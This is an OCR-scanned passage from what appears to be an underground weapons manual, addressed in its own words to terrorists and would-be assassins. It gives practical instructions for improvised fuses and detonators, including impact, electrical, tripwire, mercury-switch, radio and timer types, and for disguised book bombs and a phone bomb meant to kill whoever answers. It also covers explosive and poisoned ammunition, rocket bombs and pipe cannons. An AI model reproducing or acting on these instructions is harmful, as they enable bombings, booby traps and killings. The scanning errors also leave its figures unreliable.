will be extending these fuses (blackmatch or firecracker fuse) with sulfured wick. 

Finally, it is possible to make a relatively slow -burning fuse in the home. By dissolving about one teaspoon of black powder in about 1/4 a cup 
of boiling water, and, while it is still hot, soaking in it a long piece of all cotton string, a slow -burning fuse can be made. After the soaked string 



dries, it must then be tied to the fuse of an explosive device. Sometimes, the end of the slow burning fuse that meets the normal fuse has a 
charge of black powder or gunpowder at the intersection point to insure ignition, since the slow -burning fuse does not burn at a very high 
temperature. 

A similar type of slow fuse can be made by taking the above mixture of boiling water and black powder and pouring it on a long piece of toilet 
paper. The wet toilet paper is then gently twisted up so that it resembles a firecracker fuse, and is allowed to dry. 

HOW TO MAKE SULFURED WICK 
Use heavy cotton string about 1/8th inch in diameter. You can find some at a garden supply for tying up your tomatoes. Be sure it's cotton. 
You can test it by lighting one end. It should continue to burn after the match is removed and when blown out will have a smoldering coal on 
the end. Put some sulfur in a small container like a small pie pan and melt it in the oven at 2500 

It will melt into a transparent yellow liquid. If it starts turning brown, it is too hot. Coil about a one foot length of string into it. The melted sulfur 
will soak in quickly. When saturated, pull it out and tie it up to cool and harden. 

It can be cut to desired lengths with scissors. 2 inches is about right. These wicks will burn slowly with a blue flame and do not blow out 
easily in a moderate wind. They will not burn through a hole in a metal pipe, but are great for extending your other fuse. They will not throw off 
sparks. Blackmalch generates sparks which can ignite it along its length causing unpredictable burning times. 

—IMPACT IGNITION— 

Impact ignition is an excellent method of ignition for spontaneous terrorist activities. The problem with an impact-detonating device is that it must 
be kept in a very safe container so that it will not explode while being transported to the place where it is to be used. This can be done by 
having a removable impact initiator. 

The best and most reliable impact initiator is one that uses factory made initiators or primers. A No. 1 1 cap for black powder firearms is one 
such primer. They usually come in boxes of 100, and cost about $2«0. To use such a cap, however, one needs a nipple that it will fit on. Black 
powder nipples are also available in gun stores. All that a person has to do is ask for a package of nipples and the caps that fit them. Nipples 
have a hole that goes all the way through them, and they have a threaded end, and an end to put the cap on. A cutaway of a nipple is shown 
below: 
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When making using this type of initiator, a hole must be drilled into whatever container is used to make the bomb out of. The nipple is then 
screwed into the hole so that it fits tightly. Then, the cap can be carried and placed on the bomb when it is to be thrown. The cap should be 
bent a small amount before it is placed on the nipple, to make sure that it stays in place. The only other problem Invdved with an impact 
detonating bomb is that it must strike a hard surface on the nipple to set it off. By attaching fins or a small parachute on the end of the bomb 
opposite the primer, the bomb, when thrown, should strike the ground on the primer, and explode. Of course, a bomb with mercury fulminate in 
each end will go off on impact regardless of which end it strikes on, but mercury fulminate is also likely to go off if the person carrying the 
bomb is bumped hard. 

—MAGICUBE IGNITOR— 

A VERY SENSITIVE and reliable impact initiator can be produced from the common MAGICUBE ($2.40 for 1 2) type flashbulbs. Simply crack the 
plastic cover off, remove the reflector, and you will see 4 bulbs, each of which has a small metal rod holding it in place. 

CAREFULLY grasp this rod with a pair of needle-nose pliers, and pry gently upwards, making sure that NO FORCE IS APPLIED TO THE GLASS 
BULB. 

Each bulb is coated with plastic, which must be removed for them to be effective in our application. This coating can be removed by soaking 
the bulbs in a small glass of acetone for 30-45 minutes, at which point the plastic can be easily peeled away. 



The best method to use these is to dissolve some nitrocellulose based smokeless powder in acetone and/or ether, forming a thick glue-like 
paste. Coat the end of the fuse with this paste, then stick the bulb (with the metal rod facing out) into the paste. About half the bulb should be 
completely covered, and if a VERY THIN layer of nitrocellulose is coated over the remainder then ignition should be very reliable. 

To Insure that the device lands with the bulb down, a small streamer can be attached to the opposite side, so when it is tossed high into the air 
the appropriate end will hit the ground first. 

—ELECTRICAL IGNITION— 

Electrical ignition systems for detonation are usually the safest and most reliable form of ignition. Electrical systems are ideal for demolition 
work, if one doesn't have to worry so much about being caught. With two spools of 500 ft of wire and a car battery, one can detonate 
explosives from a "safe", comfortable distance, and be sure that there is nobody around that could get hurt. With an electrical system, one can 
control exactly what time a device will explode, within fractions of a second. Detonation can be aborted in less than a second's warning, if a 
person suddenly walks by the detonation sight, or if a police car chooses to roll by at the time. The two best electrical igniters are military 
squibs and model rocketry igniters. Blasting caps for construction also work well. Model rocketry igniters are sold in packages of six, and cost 
about $1 .00 per pack. All that need be done to use them is connect it to two wires and run a current through them. Military squibs are difficult 
to get, but they are a little bit better, since they explode when a current is run through them, whereas rocketry igniters only burst into flame. 
Most squibs will NOT detonate KCI03/petroleum jelly or RDX. This requires a blasting cap type detonation in most cases. There are, howevff, 
military explosive squibs which will do the job. 

Igniters can be used to set off black powder, mercury fulminate, or guncotton, which in turn, can set of a high order explosive. 

—HOW TO MAKE AN ELECTRIC FUZE— 
ByCapt. HackSi GW 

Take a flashlight bulb and place it glass tip down on a file. Grind it down on the file until there is a hole in the end. Solder one wire to the case 
of the bulb and another to the center conductor at the end. Fill the bulb with black powder or powdered match head. One or tw o flashlight 
batteries will heat the filament in the bulb causing the powder to ignite. 

—ANOTHER ELECTRIC FUZE— 

Take a medium grade of steel wool and pull a strand out of it. Attach It to the ends of two pieces of copper wire by wrapping it around a few 
turns and then pinch on a small piece of solder to bind the strand to the wire. You want about « inch of steel strand between the wires. 
Number 1 8 or 20 Is a good size wire to use. 

Cut a « by 1 inch piece of cardboard of the type used in match covers. Place a small pile of powdered match head in the center and press it 
flat. Place the wires so the steel strand is on top of and in contact with the powder. Sprinkle on more powder to cover the strand. 

The strand should be surrounded with powder and not touching anything else except the wires at its ends. Place a piece of blackmatch in 
contact with the powder. Now put a piece of masking tape on top of the lot, and fold it under on the two ends. Press it down so it sticks all 
around the powder. The wires are sticking out on one side and the blackmatch on the other. 
A single flashlight battery will set this off. 

—ELECTRO-MECHANICAL IGNITION— 
Electro-mechanical ignition systems are systems that use some type of mechanical switch to set off an explosive charge electrically. This type 
of switch is typically used in booby traps or other devices in which the person who places the bomb does not wish to be anywhere near the 
device when it explodes. Several types of electro-mechanical detonators will be discussed 

—Mercury Switches — 

Mercury switches are a switch that uses the fact that mercury metal conducts electricity, as do all metals, but mercury metal is a liquid at room 
temperatures. A typical mercury switch is a sealed glass tube with two electrodes and a bead of mercury metal. It is sealed because of 
mercury's nasty habit of giving off brain-damaging vapors. The diagram below may help to explain a mercury switch. 
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When the drop of mercury ("Hg" is mercury's atomic symbol) touches both contacts, current flows through the switch. If this particular switch 
was in its present position. A— B, current would be flowing, since the mercury can touch both contacts in the horizontal position. 



If, however, it was in the | position, the drop of mercury wouid only touch the + contact on the A side. Current, then couldn't flow, since 
mercury does not reach both contacts when the switch is in the vertical position. This type of switch is ideal to place by a door. If it were 
placed in the path of a swinging door in the vertical position, the motion of the door would knock the switch down, if it was held to the ground 
by a piece if tape. This would tilt the switch into the vertical position, causing the mercury to touch both contacts, allowing current to flow 
through the mercury, and to the igniter or squib in an explosive device. 

--Tripwire Switches --- 

A tripwire is an element of the classic booby trap. By placing a nearly invisible line of string or fishing line in the probable path of a victim, and 
by putting some type of trap there also, nasty things can be caused to occur. If this mode of thought is applied to explosives, how would one 
use such a tripwire to detonate a bomb. The technique is simple. By wrapping the tips of a standard clothespin with aluminum foil, and placing 
something between them, and connecting wires to each aluminum foil contact, an electric tripwire can be made, If a piece of wood attached to 
the tripwire was placed between the contacts on the clothespin, the clothespin would serve as a switch. When the tripwire was pulled, the 
clothespin would snap together, allowing current to flow between the two pieces of aluminum foil, thereby completing a circuit, which would 
have the igniter or squib in it. Current would flow between the contacts to the igniter or squib, heat the igniter or squib, causing it to explode. 
Make sure that the aluminum foil contacts do not touch the spring, since the spring also conducts electricity. 

—Radio Control Detonators — 

In the movies, every terrorist or criminal uses a radio controlled detonator to set off explosives. With a good radio detonator, one can be 
several miles away from the device, and still control exactly when it explodes, in much the same way as an electrical switch. The problem with 
radio detonators is that they are rather costly. However, there could possibly be a reason that a terrorist would wish to spend the amounts of 
money involved with a RC (radio control) system and use it as a detonator. If such an individual wanted to devise an RC detonator, all he would 
need to do is visit the local hobby store or toy store, and buy a radio controlled toy. Taking it back to his/her abode, all that he/she would have 
to do is detach the solenoid/motor that controls the motion of the front wheels of a RC car, or detach the solenoid/motor of the elevators/rudder 
of a RC plane, or the rudder of a RC boat, and re-connect the squib or rocket engine igniter to the contacts for the solenoid/motor. The device 
should be tested several times with squibs or igniters, and fully charged batteries should be in both he controller and the receiver (the part that 
used to move parts before the device became a detonator). 

—DEU\YS— 

A delay is a device which causes time to pass from when a device is set up to the time that it explodes. A regular fuse is a delay, but it would 
cost quite a bit to have a 24 hour delay with a fuse. This section deals with the different types of delays that can be employed by a terrorist 
who wishes to be sure that his bomb will go off, but wants to be out of the country when it does. 



—FUSE DEU\YS— 

It is extremely simple to delay explosive devices that employ fuses for ignition. Perhaps the simplest way to do so is with a cigarette. An 
average cigarette burns for between 8-1 1 minutes. The higher the "tar" and nicotine rating, the slower the cigarette burns. Low "tar" and 
nicotine cigarettes burn quicker than the higher "tar" and nicotine cigarettes, but they are also less likely to go out if left unattended, i.e. not 
smoked. Depending on the wind or draft in a given place, a high "tar" cigarette is better for delaying the ignition of a fuse, but there must be 
enough wind or draft to give the cigarette enough oxygen to burn. People who use cigarettes for the purpose of delaying fuses will often test 
the cigarettes that they plan to use in advance to make sure they stay lit and to see how long it will burn. Once a cigarettes burn rate is 
determined, it is a simple matter of carefully putting a hole all the way through a cigarette with a toothpick at the point desired, and pushing the 
fuse for a device in the hole formed. 
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—TIMER DELAYS— 

Timer delays, or "time bombs" are usually employed by an individual who wishes to threaten a place with a bomb and demand money to reveal 
its location and means to disarm it. Such a device could be placed In any populated place if it were concealed properly. There are several 
ways to build a timer delay. By simply using a screw as one contact at the time that detonation is desired, and using the hour hand of a clock 
as the other contact, a simple timer can be nade. The minute hand of a clock should be removed, unless a delay of less than an hour is 
desired. 



The main disadvantage with this type of timer is that it can only be set for a maximum time of 12 hours. If an electronic timer is used, such as 
that in an electronic clock, then delays of up to 24 hours are possible. By removing the speaker from an electronic clock, and attaching the 
wires of a squib or igniter to them, a timer with a delay of up to 24 hours can be made. All that one has to do is set the alarm time of the clock to 
the desired time, connect the leads, and go away. This could also be done with an electronic watch, if a larger battery were used, and the 
current to the speaker of the watch was stepped up via a transformer. This would be good, since such a timer could be extremely small. 

The timer in a VCR (Video Cassette Recorder) would be ideal. VCR's can usually be set for times of up to a week. The leads from the timer to 
the recording equipment would be the ones that an igniter or squib would be connected to. Also, one can buy timers from electronics stores 
that would be work well. Finally, one could employ a digital watch, and use a relay, or electro-magnetic switch to fire the igniter, and the 
current of the watch would not have to be stepped up. 

—CHEMICAL DELAYS— 

Chemical delays are uncommon, but they can be extremely effective in some cases. These were often used in the bombs the Germans 
dropped on England. The delay would ensure that a bomb would detonate hours or even days after the initial bombing raid, thereby increasing 
the terrifying effect on the British citizenry. 

If a glass container is filled with concentrated sulfuric acid, and capped with several thicknesses of aluminum foil, or a cap that it will eat 
through, then it can be used as a delay. Sulfuric acid will react with aluminum foil to produce aluminum sulfate and hydrogen gas, and so the 
container must be open to the air on one end so that the pressure of the hydrogen gas that is forming does not break the container. 
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The aluminum foil is placed over the bottom of the container and secured there with tape. When the acid eats through the aluminum foil, it can 
be used to ignite an explosive device in several ways. 

1 .Sulfuric acid is a good conductor of electricity. If the acid that eats through the foil is collected in a glass container placed underneath the foil, 
and two wires are placed in the glass container, a current will be able to flow through the acid when both of the wires are immersed in 
the acid. 

2.Sulfuric acid reacts very violently with potassium chlorate. If the acid drips down into a container containing potassium chlorate, the 
potassium chlorate will burst into flame. This flame can be used to ignite a fuse, or the potassium chlorate can be the igniter for a thermite 
bomb, if some potassium chlorate is mixed in a 50/50 ratio with the thermite, and this mixture is used as an igniter for the rest of the 
thermite. 

S.Sulfuric acid reacts with potassium permanganate in a similar way. 



206.Filin Canisters II by Bill 

For a relatively low shrapnel explosion, I suggest pouring it into an empty 35mm film canister. Poke a hole in the plastic lid for a fuse. These 
goodies make an explosion audible a mile away easily. 

1 .Poke the hole before putting the flash powder into the canister. 
2.Don't get any powder on the lip of the canister. 

3.0nly use a very small quantity and work your way up to the desired result. 

4. Do not pack the powder, it works best loose. 

5. Do not grind or rub the mixture - it is friction sensitive. 

6. Use a long fuse. 
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207.Bool< Bombs 



by Exodus 



Concealing a bomb can be extremely difficult in a day and age where perpetrators of violence run wild. Bags and briefcases are often 
searcfied by authorities whenever one enters a place where an individual might intend to set off a bomb. One approach to disguising a bomb is 
to build what is called a book bomb; an explosive device that is entirely contained inside of a book. 

Usually, a relatively large book is required, and the book must be of the hardback variety to hide any protrusions of a bomb. Dictionaries, law 
books, large textbooks, and other such books work well. When an individual makes a bookbomb, he/she must choose a type of book that is 

appropriate for the place where the book bomb will be placed. The actual construction of a book bomb can be done by anyone who 
possesses an electric drill and a coping saw. First, all of the pages of the book must be glued together. By pouring an entire container of 
water-soluble glue into a large bucket, and filling the bucket with boiling water, a glue-water solution can be made that will hold all of the book's 
pages together tightly. After the glue-water solution has cooled to a bearable temperature, and the solution has been stirred well, the pages of 
the book must be immersed in the glue-water solution, and each page must be thoroughly soaked. 

It is extremely important that the covers of the book do not get stuck to the pages of the book while the pages are drying. Suspending the book 

by both covers aid clamping the pages together in a vise works best. When the pages dry, after about three days to a week, a hole must be 
drilled into the now rigid pages, and they should drill out much like wood. Then, by inserting the coping saw blade through the pages and 
sawing out a rectangle from the middle of the book, the individual will be left with a shell of the book's pages. The pages, when drilled out, 
should look like this: 



(Book covers omitted) 

This rectangle must be securely glued to the back cover of the book. After building his/her bomb, which usually is of the timer or radio 
controlled variety, the bomber places it inside the book. The bomb itself, and whatever timer or detonator is used, should be packed in foam to 
prevent it from rolling or shifting about. Finally, after the timer is set, or the radio control has been turned on, the front cover is glued closed, 
and the bomb is taken to its destination. 



208.Phone Bombs by Exodus 

The phone bomb is an explosive device that has been used in the past to kill or injure a specific individual. The basic idea is simple: when the 
person answers the phone, the bomb explodes. If a small but powerful high explosive device with a squib was placed in the phone receiver, 
when the current flowed through the receiver, the squib would explode, detonating the high explosive in the person's hand. Nasty. All that has 
to be done is acquire a squib, and tape the receiver switch down. 

Unscrew the mouthpiece cover, and remove the speaker, and connect the squib's leads where it was. Place a high explosive putty, such as 
C■^ in the receiver, and screw the cover on, making sure that the squib is surrounded by the G1 . Hang the phone up, and leave the tape in 
place. 

When the individual to whom the phone belongs attempts to answer the phone, he will notice the tape, and remove it. This will allow current to 
flow through the squib. Note that the device will not explode by merely making a phone call; the owner of the phone must lift up the receiver, 
and remove the tape. It is highly probable that the phone will be by his/her ear when the device explodes... 

IMPROVED PHONE BOMB 
The above seems overly complicated to me... it would be better to rig the device as follows: 

FIRST UNPLUG THE PHONE FROM THE WALL. Wire the detonator IN LINE with the wires going to the earpiece, (may need to wire it with a relay 
so the detonator can receive the full line power, not just the audio power to the earpiece) 

Pack C4 into the phone body (NOT the handset) and plug it back in. When they pick up the phone, power will flow through the circuit to the 
detonator.... 
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209.SPECIAL AMMUNITION 



by Exodus 



SPECIAL AMMUNITION FOR BLOWGUNS 

The blowgun is an interesting weapon whicin lias several advantages. A blowgun can be extremely accurate, concealable, and deliver an 
explosive or poisoned projectile. The manufacture of an explosive dart or projectile is not difficult. To acquire a blowgun, please contact the 
editor at one of the addresses given in the introduction. 

Perhaps the most simple design for such involves the use of a pill capsule, such as the kind that are taken for headaches or allergies. Empty 
gelatin pill capsules can be purchased from most health-food stores. Next, the capsule would be filled with an Impactsensitive explosive, 
such as mercury fulminate. An additional high explosive charge could be placed behind the impact sensitive explosive, if one of the larger 
capsules were used. 

Finally, the explosive capsule would be reglued back together, and a tassel or cotton would be glued to the end containing the high explosive, 
to insure that the impactdetonating explosive struck the target first. 

Such a device would probably be about 3/4 of an inch long, not including the tassel or cotton, and look something like this: 



Care must be taken- if a powerful dart went off in the blowgun, you could easily blow the back of your head off. 
SPECIAL AMMUNITION FOR WRISTROCKETS AND SLINGSHOTS 

A modern wristrocket Is a formidable weapon. It can throw a shooter marble about 500 ft. with reasonable accuracy. Inside of 200 ft., it could 
well be lethal to a man or animal, if it struck in a vital area. Because of the relatively large sized projectile that can be used in a wristrocket, the 
wristrocket can be adapted to throw relatively powerful explosive projectiles. 

A small segment of aluminum pipe could be made into an impactdetonating device by filling it with an impact-sensitive explosive material. 

Also, such a pipe could be filled with a low-order explosive, and fitted with a fuse, which would be lit before the device was shot. One would 
have to make sure that the fuse was of sufficient length to insure that the device did not explode before it reached its intended target. 

Finally, .22 caliber caps, such as the kind that are used in .22 caliber blank guns, make excellent exploding ammunition for wristrockets, but 
they must be used at a relatively close range, because of their light weight. 

SPECIAL AMMUNITION FOR FIREARMS 

When special ammunition is used in combination with the power and rapidity of modern firearms, it becomes very easy to take on a small army 
with a single weapon. It is possible to buy explosive ammunition, but that can be difficult to do. Such ammunition can also be manufactured In 
the home. There is, however, a risk involved with modifying any ammunition. If the ammunition is modified incorrectly, in such a way that it 
makes the bullet even the slightest bit wider, an explosion in the barrel of the weapon will occur. For this reason, NOBODY SHOULD EVER 
ATTEMPT TO MANUFACTURE SUCH AMMUNfTION. 

SPECIAL AMMUNITION FOR HANDGUNS 

If an individual wished to produce explosive ammunition for his/her handgun, he/she could do it, provided that the person had an impact- 
sensitive explosive and a few simple tools. One would first purchase all lead bullets, and then make or acquire an impact-detonating explosive. 
By drilling a hole in a lead bullet with a drill, a space could be created for the placement of an explosive. After filling the hole with an explosive, 
it would be sealed in the bullet with a drop of hot wax from a candle. A diagram of a completed exploding bullet is shown below. 
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This hollow space design also works for putting poison in bullets. 



In many spy thrillers, an assassin is depicted as manufacturing "exploding bullets" by placing a drop of mercury in the nose of a bullet. Through 
experimentation it has been found that this will not work. Mercury reacts with lead to form a inert silvery compound. 

SPECIAL AMMUNITION FOR SHOTGUNS 

Because of their large bore and high power, it is possible to create some extremely powerful special ammunition for use in shotguns. If a 
shotgun shell is opened at the top, and the shot removed, the shell can be re-closed. Then, if one can find a very smooth, lightweight wooden 
dowel that is close to the bore width of the shotgun, a person can make several types of shotgun -launched weapons. 

Insert the dowel in the barrel of the shotgun with the shell without the shot in the firing chamber. Mark the dowel about six inches away from 
the end of the barrel, and remove it from the barrel. 

Next, decide what type of explosive or incendiary device is to be used. This device can be a chemical fire bottle, a pipe bomb, or a thermite 
bomb. After the device is made, it must be securely attached to the dowel. When this is done, place the dowel back in the shotgun. The bomb 
or incendiary device should be on the end of the dowel. 

Make sure that the device has a long enough fuse, light the fuse, and fire the shotgun. If the projectile is not too heavy, ranges of up to 300 ft 
are possible. A diagram of a shotgun projectile is shown below: 
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Special "grenade-launcher blanks" should be used - use of regular blank ammunition may cause the device to land perilously close to the user. 
SPECIAL AMMUNITION FOR COMPRESSED AIR/GAS WEAPONS 

This section deals with the manufacture of special ammunition for compressed air or compressed gas weapons, such as pump BB guns, COy 
BB guns, and .22 cal pellet guns . These weapons, although usually thought of as kids toys, can be made into rather dangerous weapons. 

SPECIAL AMMUNITION FOR BB GUNS 

A BB gun, for this manuscript, will be considered any type of rifle or pistol that uses compressed air or COy gas to fire a projectile with a 
caliber of .177, either BB, or lead pellet. Such guns can have almost as high a muzzle velocity as a bullet-firing rifle. Because of the speed at 
which a .177 caliber projectile flies, an impact detonating projectile can easily be made that has a caliber of .177. 

Most ammunition for guns of greater than .22 caliber use primers to ignite the powder in the bullet. These primers can be bought at gun stores, 
since many people like to reioad their own bullets. Such primers detonate when struck by the firing pin of a gun. They will also detonate if they 
are thrown at a hard surface at a great speed. 

Usually, they will also fit in the barrel of a .177 caliber gun. If they are inserted flat end first, they will detonate when the gun is fired at a hard 
surface. If such a primer is attached to a piece of thin metal tubing, such as that used in an antenna, the tube can be filled with an explosive, 
be sealed, and fired from a BB gun. A diagram of such a projectile appears below: 

primers 

I I 
I I 



V 



' explosive ******* | } tassel or 



h 



cotton 



I antenna tubing 

The front primer is attaclned to tlie tubing witii a drop of super glue. Tfie tubing is tlien filled with an explosive, and the rear primer is glued on. 
Finally, a tassel, or a small piece of cotton is glued to the rear primer, to insure that the projectile strikes on the front primer. The entire projectile 
should be about 3/4 of an inch long. 

SPECIAL AMMUNITION FOR .22 CALIBER PELLET GUNS 

A .22 caliber pellet gun usually is equivalent to a .22 cal rifle, at close ranges. Because of this, relatively large explosive projectiles can be 
adapted for use with .22 caliber air rifies. A design similar to that used in the begining of this document is suitable, since some capsules are 
about .22 caliber or smaller. Or, a design similar to that in this document could be used, only one would have to purchase black powder 
percussion caps, instead of ammunition primers, since there are percussion caps that are about .22 caliber. A #1 1 cap is too small, but 
anything larger will do nicely. 

210.Rocketrv by Exodus 

Rockets and cannon are generally thought of as heavy artillery. Perpetrators of violence do not usually employ such devices, because they 
are difficult or impossible to acquire. They are not, however, impossible to make. Any individual who can make or buy black powder or pyrodex 
can make such things. A terrorist with a cannon or large rocket is, indeed, something to fear. 

ROCKETS 

Rockets were first developed by the Chinese several hundred years before the myth of Christ began. They were used for entertainment in the 
form of fireworks. They were not usually used for military purposes because they were inaccurate, expensive, and unpredictable. In modern 
times, however, rockets are used constantly by the rriiitary, since they are cheap, reliable, and have no recoil. Perpetrators of violence, 
fortunately, cannot obtain military rockets, but they can make or buy rocket engines. IVIodel rocketry is a popular hobby of the space age, and to 
launch a rocket, an engine is required. Estes, a subsidiary of Damon, is the leading manufacturer of model rockets and rocket engines. Their 
most powerful engine, the "D" engine, can develop almost 12 lbs of thrust; enough to send a relatively large explosive charge a significant 
distance. Other companies, such as Centuri, produce even larger rocket engines, which develop up to 30 lbs of thrust. These model rocket 
engines are quite reliable, and are designed to be fired electrically. Most model rocket engines have three basic sections. The diagram below 
will help explain them. 
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The clay nozzle is where the igniter is inserted. When the area labeled "thrust" is ignited, the "thrust" material, usually a large single grain of a 
propellant such as black powder or pyrodex, burns, forcing large volumes of hot, rapidly expanding gasses out the narrow nozzle, pushing 
the rocket fonward. 

After the material has been consumed, the smoke section of the engine is ignited. It is usually a slow-burning material, similar to black powder 
that has had various compounds added to it to produce visible smoke, usually black, white, or yellow in color. This section exists so that the 
rocket will be seen when it reaches its maximum altitude, or apogee. 

When it is burned up, it ignites the ejection charge, labeled "eject". The ejection charge is finely powdered black powder. It burns very rapidly, 
exploding, in effect. The explosion of the ejection charge pushes out the parachute of the model rocket. It could also be used to ignite the fuse 
of a bomb... 

Rocket engines have their own peculiar labeling system. Typical engine labels are: 1/4A-2T, 1/2A-3T, A8-3, B6-4, C6-7, and D12-5. The letter is 
an indicator of the power of an engine. "B" engines are twice as powerful as "A" engines, and "C" engines are twice as powerful as "B" 
engines, and so on. The number following the letter is the approximate thrust of the engine, in pounds, the final number and letter is the time 
delay, from the time that the thrust period of engine burn ends until the ejection charge fires; "3T" indicates a 3 second delay. 

NOTE: An extremely effective rocket propellant can be made by mixing aluminum dust with ammonium perchlorate and a very small amount of 
iron oxide. The mixture is bound together by an epoxy. 



BASIC ROCKET BOMB 

A rocket bomb is simply wliat tlie name implies: a bomb that is delivered to its target by means of a rocket. Most people wlio would make such 
a device would use a model rocket engine to power the device. By cutting fins from balsa wood and gluing them to a large rocket engine, such 
as the Estes "C" engine, a basic rocket could be constructed. Then, by attaching a "crater maker", or COy cartridge bomb to the rocket, a bomb 
would be added. To insure that the fuse of the "crater maker" ignited, the clay over the ejection charge of the engine should be scraped off 
with a plastic tool. The fuse of the bomb should be touching the ejection charge, as shown below. 
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Duct tape is the best way to attach the crater maker to the rocket engine. Note in the diagram the absence of the clay over the ejection charge 
Many different types of explosive payloads can be attached to the rocket, such as a high explosive, an incendiary device, or a chemical fire 
bottle. 

Either four or three fins must be glued to the rocket engine to insure that the rocket flies straight. The fins should look like the following diagram: 
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The leading edge and trailing edge should be sanded with sandpaper so that they are rounded. This will help make the rocket fly straight. A 
two inch long section of a plastic straw can be attached to the rocket to launch it from. A clothes hanger can be cut and made into a launch 
rod. The segment of a plastic straw should be glued to the rocket engine adjacent to one of the fins of the rocket. A front view of a completed 
rocket bomb is shown below. 
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By cutting a coat lianger at tine indicated arrows, and bending it, a launcin rod can be made. After a fuse is inserted in tfie engine, tfie rocl<et is 
simply slid down tfie launch rod, wfiicfi is put througfi the segment of plastic straw. The rocket should slide easily along a coathanger, such as 
the one illustrated on the following page: 
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LONG RANGE ROCKET BOMB 

Long range rockets can be made by using multi-stage rockets. Model rocket engines with an "0" for a time delay are designed for use in multi- 
stage rockets. An engine such as the D1 2-0 is an excellent example of such an engine. Immediately after the thrust period is over, the ejection 
charge explodes. If another engine is placed directly against the back of an "0" engine, the explosion of the ejection charge will send hot 
gasses and burning particles into the nozzle of the engine above it, and ignite the thrust section. This will push the used "0" engine off of the 
rocket, causing an overall loss of weight. 

The main advantage of a multi-stage rocket is that it loses weight as travels, and it gains velocity. Multi-stage rockets must be designed 
somewhat differently than a single stage rocket, since, in order for a rockets to fly straight, their center of gravity must be ahead of their 
center of drag. This is accomplished by adding weight to the front of the rocket, or by moving the center of drag back by putting fins on the 
rocket that are well behind the rocket. A diagram of a multi-stage rocket appears on the following page: 
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C6-0 rocket engine 
Tfie fuse is put in tlie bottom engine. 

Two, three, or even four stages can be added to a rocket bomb to give it a longer range. It is important, fiowever, that for each additional 
stage, the fin area gets larger. 



211 .Basic Pipe Cannon by Exodus 

A simple cannon can be made from a thick pipe by almost anyone. The only difficult part is finding a pipe that is extremely smooth on its interior. 
This is absolutely necessary; othera/ise, the projectile may jam. Copper or aluminum piping is usually smooth enough, but it must also be 
extremely thick to withstand the pressure developed by the expanding hot gasses in a cannon. 

If one uses a projectile such as a COy cartridge, since such a projectile can be made to explode, a pipe that is about 1 « - 2 feet long is ideal. 
Such a pipe MUST have walls that are at least 1/3 to « an inch thick, and be very smooth on the interior. If possible, screw an endplug into the 
pipe. Othera/ise, the pipe must be crimped and folded closed, without cracking or tearing the pipe. A small hole is drilled in the back of the pipe 
near the crimp or endplug. Then, all that need be done is fill the pipe with about two teaspoons of grade blackpowder or pyrodex, insert a fuse, 
pack it lightly by ramming a wad of tissue paper down the barrel, and drop in a COy cartridge. Brace the cannon securely against a strong 
structure, light the fuse, and run. If the person is lucky, he will not have overcharged the cannon, and he will not be hit by pieces of exploding 
barrel. Such a cannon would look like this: 

fuse hole 



jendpluglpowderjt.p.j COy cartridge 



An exploding projectile can be made for this type of cannon with a COy cartridge. It is relatively simple to do. Just make a crater maker, and 
construct it such that the fuse projects about an inch from the end of the cartridge. Then, wrap the fuse with duct tape, covering it entirely, 
except for a small amount at the end. Put this in the pipe cannon without using a tissue paper packing wad. 

When the cannon is fired, it will ignite the end of the fuse, and shoot the COy cartridge. The explosivefilled cartridge will explode in about three 
seconds, if all goes well. Such a projectile would look like this: 
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ROCKET FIRING CANNON 

A rocket firing cannon can be made exactly like a normal cannon; the only difference is thie ammunition. A rocket fired from a cannon will fly 
further than a rocket alone, since the action of shooting it overcomes the initial inertia. A rocket that is launched when it is moving will go 
further than one that is launched when it is stationary. Such a rocket would resemble a normal rocket bomb, except it would have no fins. It 
would look like the image below. The fuse on such a device would, obviously, be short, but it would not be ignited until the rocket's ejection 
charge exploded. Thus, the delay before the ejection charge, in effect, becomes the delay before the bomb explodes. Note that no fuse need 
be put in the rocket; the burning powder in the cannon will ignite it, and simultaneously push the rocket out of the cannon at a high velocity. 
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REINFORCED PIPE CANNON 

In high school, a friend and I built cannons and launched COy cartridges, etc, etc. However, the design of the cannon is what I want to add 
here. It was made from plain steel water pipe, steel wire, and lead. 

Here is a cross section: 
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We dug into the side of a sand pile and built a chimney out of firebrick. Then we stood the assembled pipe and wire on end in the chimney, 
sitting on some bricks. We then had a blowtorch heating up the chimney, so that the pipe was red hot. Then we poured molten lead into the 
space between the pipes. If the caps aren't screwed on real tight, some of the lead will leak out. If that happens, turn off the blowtorch and the 
pipe will cool enough and the lead will stiffen and stop the leak. 



We used homemade and commercial black powder, and slow smokeless shotgun powder in this thing. After hundreds of shots we cut it up 
and there was no evidence of cracks or swelling of the inner pipe. 



212.Smoke Bombs 



by Exodus 



One type of pyrotechnic device that might be employecl by a terrorist in many way would be a smol<e bomb. Such a device could conceal the 
getaway route, or cause a diversion, or simply provide cover. Such a device, were it to produce enough smoke that smslled bad enough, could 
force the evacuation of a building, for example. Smoke bombs are not difficult to make. Although the military smoke bombs employ powdered 
white phosphorus or titanium compounds, such materials are usually unavailable to even the most well-equipped terrorist. Instead, he/she 
would have to make the smoke bomb for themselves. 

Most homemade smoke bombs usually employ some type of base powder, such as black powder or pyrodex, to support combustion. The base 
material will burn well, and frovide heat to cause the other materials in the device to burn, but not completely or cleanly. Table sugar, mixed 
with sulfur and a base material, produces large amounts of smoke. Sawdust, especially if it has a small amount of oil in it, and a base powder 
works well also. Other excellent smoke ingredients are small pieces of rubber, finely ground plastics, and many chemical mixtures. The 
material in road flares can be mixed with sugar and sulfur and a base powder produces much smoke. Most of the fuel-oxidizer mixtures, if the 
ratio is not correct, produce much smoke when added to a base powder. The list of possibilities goes on and on. The trick to a successful 
smoke bomb also lies in the container used. A plastic cylinder works well, and contributes to the smoke produced. The hole in the smoke bomb 
where the fuse enters must be large enough to allow the material to burn without causing an explosion. This is another plus for plastic 
containers, since they will melt and burn when the smoke material ignites, producing an opening large enough to prevent an explosion. 

—SIMPLE SMOKE— 

The following reaction should produce a fair amount of smoke. Since this reaction is not all that dangerous you can use larger amounts if 
necessary 

• 6 pt. ZINC POWDER 

• 1 pi SULFUR POWDER 

Insert a red hot wire into the pile, step back. 

—COLORED FLAMES— 

Colored flames can often be used as a signaling device for terrorists. By putting a ball of colored flame material in a rocket; the rocket, when 
the ejection charge fires, win send out a burning colored ball. The materials that produce the different colors of flames appear below. 



COLOR 


MATERIAL 


USED IN 


Red 


Strontium Salts 


Road Flares 




[Strontium Nitrate] 


Red Sparklers 


Green 


Barium Salts 


Green Sparklers 




[Barium Nitrate] 




Yellow 


Sodium Salts 


Gold Sparklers 




[Sodium Nitrate] 




Blue 


Powdered Copper 


